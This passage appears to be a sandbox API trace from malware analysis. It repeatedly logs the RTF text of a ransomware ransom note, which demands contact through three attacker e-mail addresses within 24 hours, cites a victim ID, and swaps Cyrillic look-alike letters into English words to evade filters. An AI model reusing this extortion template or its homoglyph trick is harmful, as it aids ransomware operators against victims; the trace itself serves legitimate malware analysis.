BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 